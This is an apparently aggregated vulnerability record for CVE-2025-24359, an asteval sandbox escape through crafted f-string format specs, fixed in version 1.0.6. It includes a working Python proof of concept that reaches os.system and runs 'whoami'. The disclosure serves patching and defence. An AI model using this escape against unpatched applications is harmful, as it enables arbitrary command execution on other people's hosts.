{"id":"CVE-2025-24359","aliases":["CVE-2025-24359","GHSA-3wwr-3g9f-9gc7","PYSEC-2026-1195"],"related":[],"kind":"vulnerability","state":"published","title":"ASTEVAL Vulnerable to Maliciously Crafted Format Strings Leading to Sandbox Escape","summary":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nIf an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the [`on_formattedvalue`](https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507) value uses the [dangerous format method of the str class](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), as shown in the vulnerable code snippet below:\n\n```py\n    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')\n        \"formatting used in f-strings\"\n        val = self.run(node.value)\n        fstring_converters = {115: str, 114: repr, 97: ascii}\n        if node.conversion in fstring_converters:\n            val = fstring_converters[node.conversion](val)\n        fmt = '{__fstring__}'\n        if node.format_spec is not None:\n            fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'\n        return fmt.format(__fstring__=val)\n```\n\nThe code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\n# def lender():\n#     ga\n    \ndef pwn():\n    try:\n        f\"{dict.mro()[1]:'\\\\x7B__fstring__.__getattribute__.s\\\\x7D'}\"\n    except Exception as ga:\n        ga = ga.obj\n        sub = ga(dict.mro()[1],\"__subclasses__\")()\n        importer = None\n        for i in sub:\n            if \"BuiltinImporter\" in str(i):\n                importer = i.load_module\n                break\n        os = importer(\"os\")\n        os.system(\"whoami\")\n\n# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below\n# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works\n        \npwn()\n\"\"\"\naeval(code)\n\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"ASTEVAL es un evaluador de expresiones y declaraciones de Python. Antes de la versión 1.0.6, si un atacante podía controlar la entrada de `asteval` librería, podía eludir las restricciones de asteval y ejecutar código Python arbitrario en el contexto de la aplicación utilizando tlibreríaary. La vulnerabilidad tiene su raíz en la forma en que `asteval` realiza el manejo de los nodos AST `FormattedValue`. En particular, el valor `on_formattedvalue` utiliza el método de formato peligroso de la clase str. El código permite a un atacante manipular el valor de la cadena utilizada en la llamada peligrosa `fmt.format(__fstring__=val)`. Esta vulnerabilidad se puede explotar para acceder a atributos protegidos activando intencionalmente una excepción `AttributeError`. El atacante puede entonces capturar la excepción y utilizar su atributo `obj` para obtener acceso arbitrario a propiedades de objetos confidenciales o protegidas. La versión 1.0.6 corrige este problema.","source":"nvd"}],"published":"2025-01-24T16:52:44.304Z","modified":"2026-07-07T17:57:00.410Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.4,"rating":"HIGH"}],"cwes":["CWE-134","CWE-749"],"affected":[{"ranges":[{"version":"< 1.0.6","status":"affected"}],"vendor":"lmfit","product":"asteval","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.0.6"}],"ecosystem":"PyPI","package":"asteval","purl":"pkg:pypi/asteval","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.0.6"}],"ecosystem":"PyPI","package":"asteval","purl":"pkg:pypi/asteval","source":"pysec"}],"references":[{"url":"https://github.com/lmfit/asteval/security/advisories/GHSA-3wwr-3g9f-9gc7","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/lmfit/asteval/blob/cfb57f0beebe0dc0520a1fbabc35e66060c7ea71/asteval/asteval.py#L507","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lucumr.pocoo.org/2016/12/29/careful-with-str-format","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24359","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/lmfit/asteval","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/asteval","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-3wwr-3g9f-9gc7","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2025-01-24T17:28:13.184Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-24359","url":"https://www.cve.org/CVERecord?id=CVE-2025-24359","licence":"CVE Terms of Use","modified":"2025-02-12T20:01:18.799Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3wwr-3g9f-9gc7","url":"https://github.com/advisories/GHSA-3wwr-3g9f-9gc7","licence":"CC-BY-4.0","modified":"2026-07-07T17:57:00.410Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-24359","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-24359","licence":"Public domain","modified":"2026-06-17T08:58:46.247Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1195","url":"https://osv.dev/vulnerability/PYSEC-2026-1195","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:11.830Z"}],"updatedAt":"2026-11-25T22:58:53.565Z","epss":{"score":0.00351,"percentile":0.21188,"date":"2026-11-30T12:00:22.000Z"}}